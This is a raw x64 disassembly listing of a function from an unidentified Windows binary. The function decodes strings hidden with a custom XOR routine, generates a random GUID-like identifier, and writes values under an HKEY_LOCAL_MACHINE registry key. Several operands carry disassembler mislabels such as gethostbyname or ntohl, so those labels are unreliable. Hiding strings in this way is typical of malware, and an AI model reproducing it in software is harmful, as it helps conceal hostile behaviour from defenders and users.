shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140178430]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
mov eax, dword [0x140178560]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x30]
xorps xmm2, xmm1
movd dword [rbp - 0x30], xmm2
movdqa xmm3, xmmword [0x1401783a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140178430]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x2c]
xorps xmm2, xmm1
movd dword [rbp - 0x2c], xmm2
jmp 0x1400c4633
lea r9, [rbp - 0x30]
mov r8d, ebx
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400c4600
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rbp - 0x30]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c465e
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp + 0x60]
call fcn.14003d640
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x1504], 0xffffffff
mov dword [rbp + 0x184], eax
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, r14d
mov dword [rbp + r14*4 + 0x184], eax
inc r14
cmp r14, 0x270
jb 0x1400c4690
mov dword [rbp + 0x180], 0x270
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x80]
call fcn.14014a104
lea rax, [0x140170210]
mov qword [rbp + 0x80], rax
lea rax, [0x140170058]
mov qword [rbp + 0x90], rax
lea rcx, [rbp + 0x118]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp - 0x30], 2
xor r8d, r8d
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0x80]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x80], r14
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x7c], edx
lea rcx, [rbp + 0x98]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0x98], rax
mov qword [rbp + 0x100], rbx
mov dword [rbp + 0x108], ebx
lea rdx, [0x140059440]
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
lea rdx, [0x1400b1490]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov byte [rdx + rax + 0x58], gethostbyname
mov edi, 8
nop word [rax + rax]
lea rcx, [rbp + 0x180]
call fcn.14008b5f0
mov edx, eax
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
sub rdi, 1
jne 0x1400c47b0
lea rdx, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x90]
call fcn.14008a330
mov edi, 4
nop dword [rax]
lea rcx, [rbp + 0x180]
call fcn.14008b5f0
mov edx, eax
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
sub rdi, 1
jne 0x1400c47f0
lea rdx, [0x140173ce4]
lea rcx, [rbp + 0x90]
call fcn.14008a330
mov edi, 3
mov esi, edi
nop dword [rax + rax]
lea rcx, [rbp + 0x180]
call fcn.14008b5f0
mov edx, eax
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
sub rsi, 1
jne 0x1400c4830
lea rdx, [0x140173ce0]
lea rcx, [rbp + 0x90]
call fcn.14008a330
lea rcx, [rbp + 0x180]
call fcn.14008b5f0
mov edx, eax
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
sub rdi, 1
jne 0x1400c4864
lea rdx, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x90]
call fcn.14008a330
mov edi, reloc.WS2_32.dll_inet_ntoa
nop dword [rax]
lea rcx, [rbp + 0x180]
call fcn.14008b5f0
mov edx, eax
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
sub rdi, 1
jne 0x1400c48a0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x98]
call fcn.14005f0c0
movups xmm0, xmmword [0x140174240]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x140174250]
movsd qword [rsp + 0x40], xmm0
movzx eax, byte [0x140174258]
mov byte [rsp + 0x48], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c4a3f
movdqa xmm5, xmmword [0x140178380]
movdqa xmm4, xmmword [0x140178780]
movdqa xmm6, xmmword [0x140178430]
movdqa xmm0, xmmword [0x140178560]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400c4932
cmp r8d, 0x19
jge 0x1400c4a83
movsxd rax, r8d
lea r10, [rsp + 0x30]
add r10, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r10], al
inc r8d
lea r10, [r10 + 1]
cmp r8d, 0x19
jl 0x1400c4a50
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r10d, dword [rbp + 0x20]
inc r10d
lea r9, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova r9, qword [rbp + 0x10]
movsd xmm0, qword [str.bdqSAQZ_rx]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x1401741a0]
mov dword [rsp + 0x38], eax
cmp byte [0x1401741a3], 0
je 0x1400c4c2e
cmp r13d, 2
jl 0x1400c4bf4
movdqa xmm4, xmmword [0x140178780]
movdqa xmm2, xmmword [0x140178380]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140178430]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
mov eax, dword [0x140178560]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.bdqSAQZ_rx]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x1401783a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140178430]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140178520]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov ebx, 8
movsxd rax, ebx
lea r8, [rsp + 0x30]
add r8, rax
nop
mov eax, 0x8d3dcb09
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, bl
sub al, cl
add al, 0x32
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xc
jl 0x1400c4c00
mov dword [rsp + 0x28], r10d
mov qword [rsp + 0x20], r9
mov r9d, ntohl
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp + 0x10]
call fcn.14003d640
nop
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x80], r14
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x7c], edx
lea rcx, [rbp + 0x98]
call fcn.14005e990
lea rcx, [rbp + 0xa0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x118]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, qword [rbp + 0x1510]
xor rcx, rsp
call fcn.1401487e0
lea r11, [rsp + 0x1640]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret